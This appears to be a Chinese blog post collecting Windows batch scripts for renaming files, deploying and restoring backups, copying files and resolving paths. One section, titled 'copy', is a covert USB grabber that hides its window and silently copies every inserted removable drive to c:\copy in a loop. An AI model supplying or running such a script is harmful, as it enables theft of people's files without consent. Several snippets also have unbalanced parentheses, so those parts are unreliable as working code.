Bat 常用批处理脚本记录

/

bat如何解决文件名里有空格

@echo off

color f2

echo 我可以将【文件夹】目录及子目录[去除文件名空格]整理到-目录表格.xls

pause 

:--------------------------------------

setlocal enabledelayedexpansion

:--------------------------------------

for /f "tokens=*" %%j in ('dir/b'do (

set fn=%%j

echo 替换前:!fn!

set fn=!fn: =!

echo 替换后:!fn!

:将fn字符串中的每一个空格(" ")替换成空字符("")。

ren "%%j" !fn!

)

:--------------------------------------

set pp=%~dp0

echo %pp%

:--------------------------------------

for /d /r . %%i in (*) do (

:更新路径,将有空格的路径改为除去空格后的路径,才能进入

for /f "tokens=*" %%l in (!i!) do (

set pt=%%l

set pt=!pt: =!

set i=!pt!

)

echo 路径 %%i

cd %%i

:-------------------

for /f "tokens=*" %%j in ('dir/b'do (

set fn=%%j

echo !fn!

set fn=!fn: =!

echo !fn!

:将fn字符串中的每一个“ ”替换成“”空字符。

ren "%%j" !fn!

)

)

:--------------------------------------

cd %pp%

echo %pp%

for /d /r . %%k in (*) do echo %%k>>目录表格.xls

echo 已经将文件夹目录(不包括文件)生成到【目录表格.xls】

pause

///

bat命令实现服务器覆盖文件(用于自动发版)

1.覆盖文件(程序调用执行)

@echo off

rem 设置源目录
set  "SDir=%1"
rem 设置发版包目录
set  "FBDir=%2"
rem 设置备份目录
set  "BKDir=%3"


rem 设置备份文件夹名称录 
set "BKname=%date:~0,4%%date:~5,2%%date:~8,2%%TIME:~0,2%%TIME:~3,2%%TIME:~6,2%"
rem 备份


xcopy /s/e/y "%SDir%"  "%BKDir%\%BKname%\"
If errorlevel 1 (
    exit -1
)

rem 删除bin


if exist %SDir%\bin (
del /f /s /q /a "%SDir%\bin\*.*"
rd /q /s "%SDir%\bin"
If errorlevel 1 (
    exit -2
))

rem 发版包覆盖

xcopy /s/e/y "%FBDir%"  "%SDir%" 

If errorlevel 1 (
     exit -3

 exit 1
@echo on

2.从固定位置还原备份

@echo off

rem 设置源目录
set "SDir=%1"
rem 设置备份目录
set "BKDir=%2"

rem 删除系统文件
del /f /s /q /a "%SDir%\*.*"
If errorlevel 1 (
    exit -1
)
rem 还原包覆盖

xcopy /s/e/y "%BKDir%"  "%SDir%" 
If errorlevel 1 (
    exit -2

exit 1
@echo on

BAT 批处理实现复制指定文件夹内的指定类型的多个文件到另一个文件夹(findstr &delims的使用)

set  /a CopyNum=0
REM 记录未复制文件的数量
set  /a NoCopyNum=0
 
REM 不需要复制的文件名以:隔开
set NoCopyFileName=123:234:456
 
 
::设置文件源文件位置
Set GeneratePath=..\BAT\JK2
::设置文件目标粘贴位置
Set DestnationPath=..\BAT\JK3
 
::设置粘贴文件类型
set DestExt=*.h
set DestExt_2=*.txt
 
 
IF NOT EXIST "%GeneratePath%" (
echo GeneratePath is not find 
GOTO end) 
 
@for  /f "delims=" %%i in ('dir  /b/a-d/s %GeneratePath%\%DestExt%') do (
 
REM /a 表示右边的变量为数字量 %%~nxi 文件名带后缀  %%~ni 文件名不带后缀 
REM  1>nul将不显示正确的传参结果
echo %NoCopyFileName% | findstr /C:"%%~ni" 1>nul
if errorlevel 1 (
  echo got one - %%~nxi not found
 
@xcopy %GeneratePath%\%%~nxi  %DestnationPath%\  /d /y /i
::echo errorlevelxcopy %errorlevel%
set  /a CopyNum+=1
) ELSE (
  echo got zero - found %%~nxi
 set  /a NoCopyNum+=1 
)
)
 
@echo CopyNum is %CopyNum%   NoCopyNum is %NoCopyNum% 
 
set  /a CopyNum=0
set  /a NoCopyNum=0
 
:end

/

一、bat文件获取当前目录

方法1:获取到的是bat文件的路径(一般会用这个)

@echo off

echo 当前目录:%~dp0

echo 当前的盘符及路径:%~dp0

echo 当前的盘符及路径的短文件名格式:%~sdp0

pause

方法2:获取到的是当前cmd窗口的路径

@echo off

echo 当前目录:%cd%

pause

二、shell脚本,获取当前目录

workdir=$(cd $(dirname $0); pwd)

echo 下面输出当前路径

echo $workdir

一、实例

@echo off
setlocal EnableDelayedExpansion
echo 当前正在运行的批处理文件所在路径:!cd!
pause

@echo off

echo 当前目录是:%cd%

pause

@echo off

:: set "abc=%cd%"
echo 当前正在运行的批处理文件所在路径:%~dp0

pause

@echo off
echo 当前的盘符及路径:%~dp0
echo 当前的盘符及路径的短文件名格式:%~sdp0
pause

@echo 取当前文件的上级目录的名称
set a=D:\abc\def ghi\j k\lmn.bat
for %%a in ("%a%") do (
        set ok=%%~dpa
        for /f "delims=" %%b in ("!ok:~0,-1!") do (
                echo %%~nb
        )
)
pause

二、关于%~dp0的批处理命令的详细解释
对此命令并不清楚,以下内容都来自百度搜索结果:
%~dp0 “d”为Drive的缩写,即为驱动器,磁盘、“p”为Path缩写,即为路径,目录
cd是转到这个目录,不过我觉得cd /d %~dp0 还好些
选项语法:
~0 - 删除任何引号("),扩充 %0
%~f0 - 将 %0 扩充到一个完全合格的路径名(“f”是file,即文件)
%~d0 - 仅将 %0 扩充到一个驱动器号
%~p0 - 仅将 %0 扩充到一个路径
%~n0 - 仅将 %0 扩充到一个文件名(“n”是name 文件名)
%~x0 - 仅将 %0 扩充到一个文件扩展名
%~s0 - 扩充的路径只含有短名(“s”为Short,短的)
%~a0 - 将 %0 扩充到文件的文件属性(“a”为attribute,即属性)
%~t0 - 将 %0 扩充到文件的日期/时间(“t”time)
%~z0 - 将 %0 扩充到文件的大小(Size 大小)

%~$PATH:0 - 查找列在路径环境变量的目录,并将 %0 扩充到找到的第一个完全合格的名称。如果环境变量名未被定义,或者没有找到文件,此组合键会扩充到空字符串,可以组合修饰符来得到多重结果:

%~dp0 - 仅将 %0 扩充到一个驱动器号和路径
%~nx0 - 仅将 %0 扩充到一个文件名和扩展名
%~fs0 - 仅将 %0 扩充到一个带有短名的完整路径名
%~dp$PATH:0 - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。
%~ftza0 - 将 %0 扩充到类似输出线路的 DIR
%0为当前批处理文件,如果0换成1为第一个文件,2为第2个
*********************************************************************************************
%0             代指批处理文件自身
%~d0        是指批处理所在的盘符
%~dp0      是盘符加路径
cd %~dp0 就是进入批处理所在目录了

bat(cmd)快速进入当前文件目录+防止中文乱码+保持界面一致显示 快速进入.bat

:: 防止中文乱码 chcp 65001 :: 关闭回显 @echo off :: 进入当前目录 cd %~dp0 :: 运行后保持界面一直显示 cmd /k :: 开启回显 @echo on

cmd /c dir 是执行完dir命令后关闭命令窗口。

cmd /k dir 是执行完dir命令后不关闭命令窗口。

cmd /c start dir 会打开一个新窗口后执行dir指令,原窗口会关闭。

cmd /k start dir 会打开一个新窗口后执行dir指令,原窗口不会关闭。

可以用cmd /?查看帮助信息。

CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF]
    [[/S] [/C | /K] string]

/C      执行字符串指定的命令然后终止
/K      执行字符串指定的命令但保留
/S      修改 /C 或 /K 之后的字符串处理(见下)
/Q      关闭回显
/D      禁止从注册表执行 AutoRun 命令(见下)
/A      使向管道或文件的内部命令输出成为 ANSI
/U      使向管道或文件的内部命令输出成为
        Unicode
/T:fg   设置前台/背景颜色(详细信息见 COLOR /?)
/E:ON   启用命令扩展(见下)
/E:OFF  禁用命令扩展(见下)
/F:ON   启用文件和目录名完成字符(见下)
/F:OFF  禁用文件和目录名完成字符(见下)
/V:ON   使用 ! 作为分隔符启用延迟的环境变量
        扩展。例如,/V:ON 会允许 !var! 在执行时
        扩展变量 var。var 语法会在输入时
        扩展变量,这与在一个 FOR
        循环内不同。

copy

@echo off

title $$$$*晗*晗*制*造*$$$$

mode con: cols=14 lines=1

:again

cls

del /Q /f "%temp%\copy.tmp" >nul 2>nul

for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"

findstr /i "可移动驱动器" "%temp%\copy.tmp" 

if errorlevel==1 goto end

if errorlevel==0 goto copy 

:end 

rem 没有检测到可移动磁盘!

if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul

%temp%\sleep.exe 20s

goto again

:copy 

if exist c:\copy goto goon

cd\

cd /d c:

md copy  

:goon 

for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (

xcopy /e /y  %%i\*.* c:\copy >nul 2>nul

)

rem 已复制,请及时清理文件!

if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul

%temp%\sleep.exe 20s

goto again

//

当用del删除文件时,不能使用 del /a /f >nul 2>nul&&echo yes||echo no 来判断是否已经删除,因为无论在什么情况下,始终显示yes。rd不存在这个现象。所以,在不知道要删除的是文件还是文件夹的时候,应该用如下代码:

@echo off

:: rd 和 del 的顺序不能反

rd /q /s "目标">nul 2>nul||del /a /f "目标">nul 2>nul

pause

///

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值